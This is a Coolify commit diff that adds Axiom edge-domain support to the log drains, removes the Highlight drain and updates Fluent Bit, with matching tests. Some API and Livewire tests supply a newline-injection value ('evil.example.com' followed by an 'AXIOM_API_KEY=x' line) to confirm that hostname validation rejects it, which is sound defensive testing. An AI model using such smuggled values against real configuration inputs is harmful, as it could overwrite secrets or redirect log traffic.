fix(log-drains): support Axiom edge domains and update Fluent Bit to 5.1

- Add an Axiom edge domain setting (default us-east-1) and use the /v1/ingest endpoint, so EU datasets work
- Remove the Highlight drain (service ended) and stop its running containers
- Update Fluent Bit from 2.0 to 5.1 and use the warn log level
- Restart running drains when the generated files change, with the new image pulled before the old container stops
- Show log drain validation errors under their fields

Closes #9898
This commit is contained in:
Andras Bacsai committed 2026-10-27 17:41:50 +01:00
1 parent 18a85d37ba
commit 101444b8ca
19 files changed
+529 -112

No files matched your search

+44 -38
View File
@@ -3,8 +3,10 @@
namespace App\Actions\Server;
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\Service;
use App\Rules\ValidFluentBitConfig;
use Illuminate\Support\Facades\Cache;
use Lorisleiva\Actions\Concerns\AsAction;
class StartLogDrain
@@ -13,12 +15,31 @@ class StartLogDrain
public string $jobQueue = 'high';
/**
* Bump when the generated files change (image, config, compose, or README), so that the
* server checks start running log drains again with the new files.
*/
public const CONFIG_VERSION = '1';
public const CONFIG_VERSION_LABEL = 'coolify.logDrainConfigVersion';
/**
* Whether a running log drain container was made with older files. Claims the refresh for
* 10 minutes, so that the frequent server checks queue only one restart.
*/
public static function claimOutdatedRefresh(Server $server, mixed $labels): bool
{
if ((string) collect($labels)->get(self::CONFIG_VERSION_LABEL) === self::CONFIG_VERSION) {
return false;
}
return Cache::add("log-drain-refresh:{$server->uuid}", true, now()->addMinutes(10));
}
public function handle(Server $server)
{
if ($server->settings->is_logdrain_newrelic_enabled) {
$type = 'newrelic';
} elseif ($server->settings->is_logdrain_highlight_enabled) {
$type = 'highlight';
} elseif ($server->settings->is_logdrain_axiom_enabled) {
$type = 'axiom';
} elseif ($server->settings->is_logdrain_custom_enabled) {
@@ -34,9 +55,6 @@ class StartLogDrain
return 'Amazon CloudWatch Logs uses the built-in Docker awslogs driver.';
}
if ($type !== 'none') {
StopLogDrain::run($server);
}
$serverName = $this->fluentBitValue((string) $server->name);
try {
if ($type === 'none') {
@@ -49,8 +67,7 @@ class StartLogDrain
[SERVICE]
Flush 5
Daemon off
Tag container_logs
Log_Level debug
Log_Level warn
Parsers_File parsers.conf
[INPUT]
Name forward
@@ -76,27 +93,6 @@ class StartLogDrain
# https://log-api.newrelic.com/log/v1 - US
base_uri \${BASE_URI}
");
} elseif ($type === 'highlight') {
if (! $server->settings->is_logdrain_highlight_enabled) {
throw new \Exception('Highlight log drain is not enabled.');
}
$config = base64_encode('
[SERVICE]
Flush 5
Daemon off
Log_Level debug
Parsers_File parsers.conf
[INPUT]
Name forward
tag ${HIGHLIGHT_PROJECT_ID}
Buffer_Chunk_Size 1M
Buffer_Max_Size 6M
[OUTPUT]
Name forward
Match *
Host otel.highlight.io
Port 24224
');
} elseif ($type === 'axiom') {
if (! $server->settings->is_logdrain_axiom_enabled) {
throw new \Exception('Axiom log drain is not enabled.');
@@ -105,7 +101,7 @@ class StartLogDrain
[SERVICE]
Flush 5
Daemon off
Log_Level debug
Log_Level warn
Parsers_File parsers.conf
[INPUT]
Name forward
@@ -126,9 +122,9 @@ class StartLogDrain
[OUTPUT]
Name http
Match *
Host api.axiom.co
Host \${AXIOM_DOMAIN}
Port 443
URI /v1/datasets/\${AXIOM_DATASET_NAME}/ingest
URI /v1/ingest/\${AXIOM_DATASET_NAME}
# Authorization Bearer should be an API token
Header Authorization Bearer \${AXIOM_API_KEY}
compress gzip
@@ -165,7 +161,7 @@ class StartLogDrain
$compose = base64_encode('
services:
coolify-log-drain:
image: cr.fluentbit.io/fluent/fluent-bit:2.0
image: cr.fluentbit.io/fluent/fluent-bit:5.1
container_name: coolify-log-drain
command: -c /fluent-bit.conf
env_file:
@@ -177,16 +173,22 @@ services:
- 127.0.0.1:24224:24224
labels:
- coolify.managed=true
- '.self::CONFIG_VERSION_LABEL.'='.self::CONFIG_VERSION.'
restart: unless-stopped
');
$readme = base64_encode('# New Relic Log Drain
This log drain is based on [Fluent Bit](https://fluentbit.io/) and New Relic Log Forwarder.
$providerName = match ($type) {
'newrelic' => 'New Relic',
'axiom' => 'Axiom',
'custom' => 'Custom',
};
$readme = base64_encode("# {$providerName} Log Drain
This log drain is based on [Fluent Bit](https://fluentbit.io/).
Files:
- `fluent-bit.conf` - configuration file for Fluent Bit
- `docker-compose.yml` - docker-compose file to run Fluent Bit
- `.env` - environment variables for Fluent Bit
');
");
$license_key = $server->settings->logdrain_newrelic_license_key;
$base_uri = $server->settings->logdrain_newrelic_base_uri;
$base_path = config('constants.coolify.base_config_path');
@@ -198,10 +200,9 @@ Files:
$readme_path = $config_path.'/README.md';
if ($type === 'newrelic') {
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
} elseif ($type === 'highlight') {
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
} elseif ($type === 'axiom') {
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
$axiomDomain = trim((string) $server->settings->logdrain_axiom_domain) ?: ServerSetting::DEFAULT_AXIOM_DOMAIN;
$envContent = "AXIOM_DOMAIN={$axiomDomain}\nAXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
} elseif ($type === 'custom') {
$envContent = '';
} else {
@@ -209,6 +210,8 @@ Files:
}
$envEncoded = base64_encode($envContent);
// The running drain is removed only after the checks above and the image pull, so that an
// invalid custom config or a slow download does not stop log collection.
$command = [
"echo 'Saving configuration'",
"mkdir -p $config_path",
@@ -217,7 +220,10 @@ Files:
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
"echo 'Pulling Fluent Bit'",
"docker compose -f $compose_path pull --quiet --ignore-pull-failures",
"echo 'Starting Fluent Bit'",
'docker rm -f coolify-log-drain >/dev/null 2>&1 || true',
"docker compose -f $compose_path up -d",
];
$command = array_merge($command, $this->logDrainNetworkConnectCommands($server));
@@ -7,6 +7,7 @@ use App\Actions\Server\StopLogDrain;
use App\Http\Controllers\Controller;
use App\Models\Server;
use App\Rules\ValidFluentBitConfig;
use App\Rules\ValidHostname;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use OpenApi\Attributes as OA;
@@ -20,6 +21,7 @@ class ServerLogDrainsController extends Controller
'is_logdrain_axiom_enabled',
'logdrain_axiom_dataset_name',
'logdrain_axiom_api_key',
'logdrain_axiom_domain',
'is_logdrain_custom_enabled',
'logdrain_custom_config',
'logdrain_custom_config_parser',
@@ -47,6 +49,7 @@ class ServerLogDrainsController extends Controller
'logdrain_newrelic_base_uri' => $settings->logdrain_newrelic_base_uri,
'is_logdrain_axiom_enabled' => (bool) $settings->is_logdrain_axiom_enabled,
'logdrain_axiom_dataset_name' => $settings->logdrain_axiom_dataset_name,
'logdrain_axiom_domain' => $settings->logdrain_axiom_domain,
'is_logdrain_custom_enabled' => (bool) $settings->is_logdrain_custom_enabled,
'is_logdrain_cloudwatch_enabled' => (bool) $settings->is_logdrain_cloudwatch_enabled,
'logdrain_cloudwatch_region' => $settings->logdrain_cloudwatch_region,
@@ -85,6 +88,7 @@ class ServerLogDrainsController extends Controller
new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string', nullable: true),
new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'),
new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string', nullable: true),
new OA\Property(property: 'logdrain_axiom_domain', type: 'string', nullable: true),
new OA\Property(property: 'logdrain_axiom_api_key', type: 'string', description: 'Only present with read:sensitive.'),
new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'),
new OA\Property(property: 'logdrain_custom_config', type: 'string', description: 'Only present with read:sensitive.'),
@@ -138,6 +142,7 @@ class ServerLogDrainsController extends Controller
new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string'),
new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'),
new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string'),
new OA\Property(property: 'logdrain_axiom_domain', type: 'string', description: 'Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.'),
new OA\Property(property: 'logdrain_axiom_api_key', type: 'string'),
new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'),
new OA\Property(property: 'logdrain_custom_config', type: 'string'),
@@ -185,6 +190,7 @@ class ServerLogDrainsController extends Controller
'is_logdrain_axiom_enabled' => 'boolean',
'logdrain_axiom_dataset_name' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logdrain_axiom_api_key' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logdrain_axiom_domain' => ['nullable', 'string', new ValidHostname],
'is_logdrain_custom_enabled' => 'boolean',
'logdrain_custom_config' => ['nullable', 'string', new ValidFluentBitConfig],
'logdrain_custom_config_parser' => ['nullable', 'string', new ValidFluentBitConfig(parsersOnly: true)],
@@ -250,7 +256,7 @@ class ServerLogDrainsController extends Controller
}
if ($settings->is_logdrain_cloudwatch_enabled) {
if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled || $settings->is_logdrain_highlight_enabled) {
if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
+7 -1
View File
@@ -116,6 +116,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
public bool $foundLogDrainContainer = false;
public array $logDrainContainerLabels = [];
private ?array $cachedDestinationIds = null;
public function middleware(): array
@@ -275,6 +277,7 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
$name = data_get($container, 'name');
if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) {
$this->foundLogDrainContainer = true;
$this->logDrainContainerLabels = $labels->all();
}
// Containers are matched by owner UUID; numeric ids differ between instances.
if (isContainerOfType($labels, 'application')) {
@@ -979,7 +982,10 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
private function checkLogDrainContainer()
{
if ($this->server->isFluentBitLogDrainEnabled() && $this->foundLogDrainContainer === false) {
if (! $this->server->isFluentBitLogDrainEnabled()) {
return;
}
if ($this->foundLogDrainContainer === false || StartLogDrain::claimOutdatedRefresh($this->server, $this->logDrainContainerLabels)) {
StartLogDrain::dispatch($this->server);
}
}
+1 -1
View File
@@ -113,7 +113,7 @@ class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue
})->first();
if ($foundLogDrainContainer) {
$status = data_get($foundLogDrainContainer, 'State.Status');
if ($status !== 'running') {
if ($status !== 'running' || StartLogDrain::claimOutdatedRefresh($this->server, data_get($foundLogDrainContainer, 'Config.Labels'))) {
StartLogDrain::dispatch($this->server);
}
} else {
+21 -5
View File
@@ -5,7 +5,9 @@ namespace App\Livewire\Server;
use App\Actions\Server\StartLogDrain;
use App\Actions\Server\StopLogDrain;
use App\Models\Server;
use App\Models\ServerSetting;
use App\Rules\ValidFluentBitConfig;
use App\Rules\ValidHostname;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Validation\ValidationException;
use Livewire\Attributes\Validate;
@@ -38,6 +40,9 @@ class LogDrains extends Component
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainAxiomApiKey = null;
#[Validate(['string', 'nullable', new ValidHostname])]
public ?string $logDrainAxiomDomain = null;
#[Validate(['string', 'nullable'])]
public ?string $logDrainCustomConfig = null;
@@ -87,9 +92,11 @@ class LogDrains extends Component
$this->server->settings->is_logdrain_axiom_enabled = $this->isLogDrainAxiomEnabled;
$this->server->settings->logdrain_axiom_dataset_name = $this->logDrainAxiomDatasetName;
$this->server->settings->logdrain_axiom_api_key = $this->logDrainAxiomApiKey;
$this->server->settings->logdrain_axiom_domain = $this->logDrainAxiomDomain;
} else {
$this->isLogDrainAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled;
$this->logDrainAxiomDatasetName = $this->server->settings->logdrain_axiom_dataset_name;
$this->logDrainAxiomDomain = $this->server->settings->logdrain_axiom_domain ?: ServerSetting::DEFAULT_AXIOM_DOMAIN;
$this->logDrainAxiomApiKey = auth()->user()->can('update', $this->server)
? $this->server->settings->logdrain_axiom_api_key
: null;
@@ -146,9 +153,6 @@ class LogDrains extends Component
$this->syncDataCustom($toModel);
$this->syncDataCloudwatch($toModel);
}
if ($this->enabledLogDrainCount() > 0) {
$this->server->settings->is_logdrain_highlight_enabled = false;
}
$this->auditLogDrain('updated');
$this->server->settings->save();
} else {
@@ -195,6 +199,7 @@ class LogDrains extends Component
$this->validate([
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainAxiomDomain' => ['required', new ValidHostname],
]);
} catch (\Throwable $e) {
$this->isLogDrainAxiomEnabled = false;
@@ -240,6 +245,8 @@ class LogDrains extends Component
StopLogDrain::run($this->server);
$this->dispatch('success', 'Log drain service stopped.');
}
} catch (ValidationException $e) {
return $this->handleValidationError($e);
} catch (\Throwable $e) {
return handleError($e, $this);
}
@@ -251,7 +258,6 @@ class LogDrains extends Component
$previousAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled;
$previousCustomEnabled = $this->server->settings->is_logdrain_custom_enabled;
$previousCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled;
$previousHighlightEnabled = $this->server->settings->is_logdrain_highlight_enabled;
try {
$this->authorize('update', $this->server);
@@ -279,6 +285,9 @@ class LogDrains extends Component
StopLogDrain::run($this->server);
$this->dispatch('success', 'Log drain service stopped.');
}
} catch (ValidationException $e) {
// Validation runs before anything is saved, so keep the typed values and show the errors under the fields.
$this->handleValidationError($e);
} catch (\Throwable $e) {
// Restore the previously persisted enabled flags so the UI/DB never
// claim a runtime state that the Start/StopLogDrain action failed to apply.
@@ -286,7 +295,6 @@ class LogDrains extends Component
$this->server->settings->is_logdrain_axiom_enabled = $previousAxiomEnabled;
$this->server->settings->is_logdrain_custom_enabled = $previousCustomEnabled;
$this->server->settings->is_logdrain_cloudwatch_enabled = $previousCloudwatchEnabled;
$this->server->settings->is_logdrain_highlight_enabled = $previousHighlightEnabled;
$this->server->settings->save();
$this->syncData();
@@ -310,6 +318,13 @@ class LogDrains extends Component
return view('livewire.server.log-drains');
}
private function handleValidationError(ValidationException $e): mixed
{
$this->setErrorBag($e->validator->errors());
return handleError($e, $this);
}
private function enabledLogDrainCount(): int
{
return count(array_filter([
@@ -351,6 +366,7 @@ class LogDrains extends Component
'axiom' => $this->validate([
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainAxiomDomain' => ['required', new ValidHostname],
]),
'custom' => $this->validate([
'logDrainCustomConfig' => ['required', new ValidFluentBitConfig],
+1 -1
View File
@@ -2200,7 +2200,7 @@ $siteAddress {
*/
public function isFluentBitLogDrainEnabled(): bool
{
return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_highlight_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled;
return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled;
}
public function validateOS(): bool|Stringable
+7 -4
View File
@@ -29,7 +29,6 @@ use OpenApi\Attributes as OA;
'is_logdrain_axiom_enabled' => ['type' => 'boolean'],
'is_logdrain_cloudwatch_enabled' => ['type' => 'boolean'],
'is_logdrain_custom_enabled' => ['type' => 'boolean'],
'is_logdrain_highlight_enabled' => ['type' => 'boolean'],
'is_logdrain_newrelic_enabled' => ['type' => 'boolean'],
'is_metrics_enabled' => ['type' => 'boolean'],
'is_traffic_analytics_enabled' => ['type' => 'boolean'],
@@ -49,12 +48,12 @@ use OpenApi\Attributes as OA;
'is_usable' => ['type' => 'boolean'],
'logdrain_axiom_api_key' => ['type' => 'string'],
'logdrain_axiom_dataset_name' => ['type' => 'string'],
'logdrain_axiom_domain' => ['type' => 'string', 'description' => 'Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co.'],
'logdrain_cloudwatch_region' => ['type' => 'string'],
'logdrain_cloudwatch_group' => ['type' => 'string'],
'logdrain_cloudwatch_stream_prefix' => ['type' => 'string'],
'logdrain_custom_config' => ['type' => 'string'],
'logdrain_custom_config_parser' => ['type' => 'string'],
'logdrain_highlight_project_id' => ['type' => 'string'],
'logdrain_newrelic_base_uri' => ['type' => 'string'],
'logdrain_newrelic_license_key' => ['type' => 'string'],
'sentinel_metrics_history_days' => ['type' => 'integer'],
@@ -93,6 +92,11 @@ class ServerSetting extends Model
public const int DEFAULT_SENTINEL_PUSH_INTERVAL_SECONDS = 60;
/**
* Axiom edge deployment for US East 1. See https://axiom.co/docs/reference/edge-deployments.
*/
public const string DEFAULT_AXIOM_DOMAIN = 'us-east-1.aws.edge.axiom.co';
protected $fillable = [
'server_id',
'is_swarm_manager',
@@ -109,11 +113,10 @@ class ServerSetting extends Model
'is_logdrain_newrelic_enabled',
'logdrain_newrelic_license_key',
'logdrain_newrelic_base_uri',
'is_logdrain_highlight_enabled',
'logdrain_highlight_project_id',
'is_logdrain_axiom_enabled',
'logdrain_axiom_dataset_name',
'logdrain_axiom_api_key',
'logdrain_axiom_domain',
'is_swarm_worker',
'is_logdrain_custom_enabled',
'logdrain_custom_config',
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('server_settings', function (Blueprint $table) {
$table->string('logdrain_axiom_domain')->nullable()->default('us-east-1.aws.edge.axiom.co');
});
}
public function down(): void
{
Schema::table('server_settings', function (Blueprint $table) {
$table->dropColumn('logdrain_axiom_domain');
});
}
};
@@ -0,0 +1,43 @@
<?php
use App\Actions\Server\StopLogDrain;
use App\Models\Server;
use App\Models\ServerSetting;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Schema;
/**
* Highlight.io ended its hosted service on 2026-02-28, so its log drain can no longer deliver logs.
*/
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasColumn('server_settings', 'is_logdrain_highlight_enabled')) {
return;
}
try {
$serverIds = ServerSetting::query()->where('is_logdrain_highlight_enabled', true)->pluck('server_id');
Server::query()->whereIn('id', $serverIds)->get()
->reject(fn (Server $server) => $server->isTransferredAway())
->each(fn (Server $server) => StopLogDrain::dispatch($server));
} catch (Throwable $e) {
Log::warning('Could not queue the removal of Highlight log drain containers: '.$e->getMessage());
}
Schema::table('server_settings', function (Blueprint $table) {
$table->dropColumn(['is_logdrain_highlight_enabled', 'logdrain_highlight_project_id']);
});
}
public function down(): void
{
Schema::table('server_settings', function (Blueprint $table) {
$table->boolean('is_logdrain_highlight_enabled')->default(false);
$table->string('logdrain_highlight_project_id')->nullable();
});
}
};
+1 -1
View File
@@ -42,7 +42,7 @@ When you add a model or a setting to the transfer, add it to this file too.
| ✅ | Metrics / Sentinel | metrics on, refresh rate 10 s, history 14 days, push interval 30 s |
| ✅ | Traffic analytics | on, top N 20, sample threshold, retention 1h=3 / 1d=60 days, IP mode `anonymized` |
| ✅ | GeoIP | on, MaxMind license key, refresh 14 days |
| ✅ | Log drains | New Relic (key + base URI), Highlight (project ID), Axiom (dataset + key), custom (config + parser), one of them enabled |
| ✅ | Log drains | New Relic (key + base URI), Axiom (dataset, key + edge domain), custom (config + parser), one of them enabled |
| ✅ | Cloudflare tunnel | tunnel on, tunnel ID, account ID, Cloudflare integration token selected, and the DNS record of the SSH hostname. Expected: the record moves with the server; the source keeps it only for a take back (not owned) |
| ➕ | Jump server flag | on (on a server that is only a jump host) |
@@ -47,19 +47,26 @@
</x-application.settings-section>
<x-application.settings-section id="server-axiom-drain-section" title="Axiom"
helper="Send logs to an Axiom dataset using its ingest API.">
<div class="grid gap-4 lg:grid-cols-3">
<div class="mb-4 max-w-sm">
<x-forms.listbox canGate="update" :canResource="$server" id="isLogDrainAxiomEnabled" label="Status"
onChange="instantSave" :options="[
['value' => false, 'label' => 'Disabled'],
['value' => true, 'label' => 'Enabled'],
]"
:disabled="$isLogDrainNewRelicEnabled || $isLogDrainCustomEnabled || $isLogDrainCloudwatchEnabled || !auth()->user()->can('update', $server)" />
</div>
<div class="grid gap-4 lg:grid-cols-3">
<x-forms.input canGate="update" :canResource="$server" type="password" :required="$isLogDrainAxiomEnabled"
id="logDrainAxiomApiKey" label="API key"
:disabled="$server->isLogDrainEnabled()" />
<x-forms.input canGate="update" :canResource="$server" :required="$isLogDrainAxiomEnabled"
id="logDrainAxiomDatasetName" label="Dataset name"
:disabled="$server->isLogDrainEnabled()" />
<x-forms.input canGate="update" :canResource="$server" :required="$isLogDrainAxiomEnabled"
id="logDrainAxiomDomain" label="Edge domain"
placeholder="us-east-1.aws.edge.axiom.co"
helper="Base domain of the edge deployment of your Axiom organization.<br><br>US: <code>us-east-1.aws.edge.axiom.co</code><br>EU: <code>eu-central-1.aws.edge.axiom.co</code>"
:disabled="$server->isLogDrainEnabled()" />
</div>
</x-application.settings-section>
<x-application.settings-section id="server-cloudwatch-drain-section" title="Amazon CloudWatch Logs"
+1 -1
View File
@@ -48,7 +48,7 @@ $server->settings->forceFill([
'is_traffic_analytics_enabled' => true, 'traffic_topn' => 20, 'traffic_sample_threshold' => 9, 'traffic_retention_1h_days' => 3, 'traffic_retention_1d_days' => 60,
'traffic_ip_mode' => 'anonymized', 'is_geoip_enabled' => true, 'geoip_maxmind_license_key' => 'fake-maxmind-key', 'geoip_refresh_days' => 14,
'logdrain_newrelic_license_key' => 'fake-newrelic', 'logdrain_newrelic_base_uri' => 'https://log-api.eu.newrelic.com/log/v1',
'logdrain_highlight_project_id' => 'fake-highlight', 'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom',
'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom',
'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name fake\n",
'logdrain_cloudwatch_region' => 'eu-central-1', 'logdrain_cloudwatch_group' => 'fake-group', 'logdrain_cloudwatch_stream_prefix' => 'fake-prefix',
])->saveQuietly();
@@ -190,6 +190,26 @@ describe('Log drains API', function () {
->and($settings->logdrain_axiom_api_key)->toBe('axiom-key-123');
});
test('PATCH sets the Axiom edge domain and rejects a value that is not a hostname', function () {
Queue::fake();
$this->withHeaders(serverSubsystemsHeaders())
->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [
'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co',
])
->assertOk()
->assertJsonPath('logdrain_axiom_domain', 'eu-central-1.aws.edge.axiom.co');
$this->withHeaders(serverSubsystemsHeaders())
->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [
'logdrain_axiom_domain' => "evil.example.com\nAXIOM_API_KEY=x",
])
->assertUnprocessable()
->assertJsonValidationErrors('logdrain_axiom_domain');
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co');
});
test('PATCH saves log drain settings without connecting to a server that is not validated', function () {
Queue::fake();
@@ -0,0 +1,137 @@
<?php
use App\Actions\Server\StartLogDrain;
use App\Livewire\Server\LogDrains;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
Server::flushIdentityMap();
Storage::fake('ssh-keys');
Storage::fake('ssh-mux');
config(['constants.ssh.mux_enabled' => false]);
InstanceSettings::forceCreate(['id' => 0]);
$this->user = User::factory()->create();
$this->team = $this->user->teams()->first();
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id,
]);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
/**
* @return array{config: string, env: string}
*/
function startAxiomLogDrain(Server $server): array
{
$commands = new Collection;
Process::fake(function ($process) use ($commands) {
$commands->push(remoteProcessScript($process));
return Process::result();
});
StartLogDrain::run($server->fresh());
$script = $commands->implode("\n");
preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/fluent-bit\\.conf/", $script, $config);
preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/\\.env/", $script, $env);
return ['config' => base64_decode($config[1]), 'env' => base64_decode($env[1])];
}
it('sends logs to the configured Axiom edge deployment', function () {
$this->server->settings->update([
'is_logdrain_axiom_enabled' => true,
'logdrain_axiom_dataset_name' => 'dataset',
'logdrain_axiom_api_key' => 'key',
'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co',
]);
$files = startAxiomLogDrain($this->server);
expect($files['config'])->toContain('Host ${AXIOM_DOMAIN}')
->and($files['config'])->toContain('URI /v1/ingest/${AXIOM_DATASET_NAME}')
->and($files['config'])->not->toContain('api.axiom.co')
->and($files['env'])->toBe("AXIOM_DOMAIN=eu-central-1.aws.edge.axiom.co\nAXIOM_DATASET_NAME=dataset\nAXIOM_API_KEY=key\n");
});
it('uses the US edge deployment when no Axiom domain is set', function () {
$this->server->settings->update([
'is_logdrain_axiom_enabled' => true,
'logdrain_axiom_dataset_name' => 'dataset',
'logdrain_axiom_api_key' => 'key',
'logdrain_axiom_domain' => null,
]);
expect(startAxiomLogDrain($this->server)['env'])->toStartWith("AXIOM_DOMAIN=us-east-1.aws.edge.axiom.co\n");
});
it('defaults the Axiom domain of new servers to the US edge deployment', function () {
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co');
});
it('enables Axiom with an EU edge domain', function () {
StartLogDrain::mock()->shouldReceive('handle')->once()->andReturn('ok');
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
->assertSet('logDrainAxiomDomain', 'us-east-1.aws.edge.axiom.co')
->set('logDrainAxiomApiKey', 'xaat-key')
->set('logDrainAxiomDatasetName', 'dataset')
->set('logDrainAxiomDomain', 'eu-central-1.aws.edge.axiom.co')
->call('toggleLogDrain', 'axiom')
->assertHasNoErrors()
->assertSet('isLogDrainAxiomEnabled', true);
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co');
});
it('rejects an Axiom domain that is not a hostname', function (string $domain) {
StartLogDrain::mock()->shouldNotReceive('handle');
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
->set('logDrainAxiomApiKey', 'xaat-key')
->set('logDrainAxiomDatasetName', 'dataset')
->set('logDrainAxiomDomain', $domain)
->call('toggleLogDrain', 'axiom')
->assertDispatched('error')
->assertHasErrors('logDrainAxiomDomain')
->assertSet('isLogDrainAxiomEnabled', false)
->assertSet('logDrainAxiomDatasetName', 'dataset');
$settings = $this->server->settings->fresh();
expect($settings->is_logdrain_axiom_enabled)->toBeFalsy()
->and($settings->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co');
})->with([
'env injection' => ["eu-central-1.aws.edge.axiom.co\nAXIOM_API_KEY=x"],
'url' => ['https://eu-central-1.aws.edge.axiom.co'],
'empty' => [''],
]);
it('shows a missing API key under its field when Axiom is enabled from the status dropdown', function () {
StartLogDrain::mock()->shouldNotReceive('handle');
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
->set('logDrainAxiomDatasetName', 'dataset')
->set('isLogDrainAxiomEnabled', true)
->call('instantSave')
->assertDispatched('error')
->assertHasErrors('logDrainAxiomApiKey')
->assertSet('isLogDrainAxiomEnabled', false)
->assertSet('logDrainAxiomDatasetName', 'dataset');
expect($this->server->settings->fresh()->is_logdrain_axiom_enabled)->toBeFalsy();
});
@@ -153,52 +153,6 @@ it('does not deploy the Fluent Bit container for CloudWatch', function () {
expect($result)->toContain('awslogs');
});
it('turns off the legacy Highlight drain when CloudWatch is enabled', function () {
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
$this->server->settings->update([
'is_logdrain_highlight_enabled' => true,
'logdrain_highlight_project_id' => 'legacy-project',
]);
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
->set('logDrainCloudwatchGroup', 'coolify')
->set('logDrainCloudwatchRegion', 'us-east-1')
->set('isLogDrainCloudwatchEnabled', true)
->call('instantSave')
->assertDispatched('success');
$settings = $this->server->settings->fresh();
expect($settings->is_logdrain_highlight_enabled)->toBeFalsy()
->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue();
});
it('turns off the legacy Highlight drain when switching drains with toggleLogDrain', function () {
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
$this->server->settings->update(['is_logdrain_highlight_enabled' => true]);
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
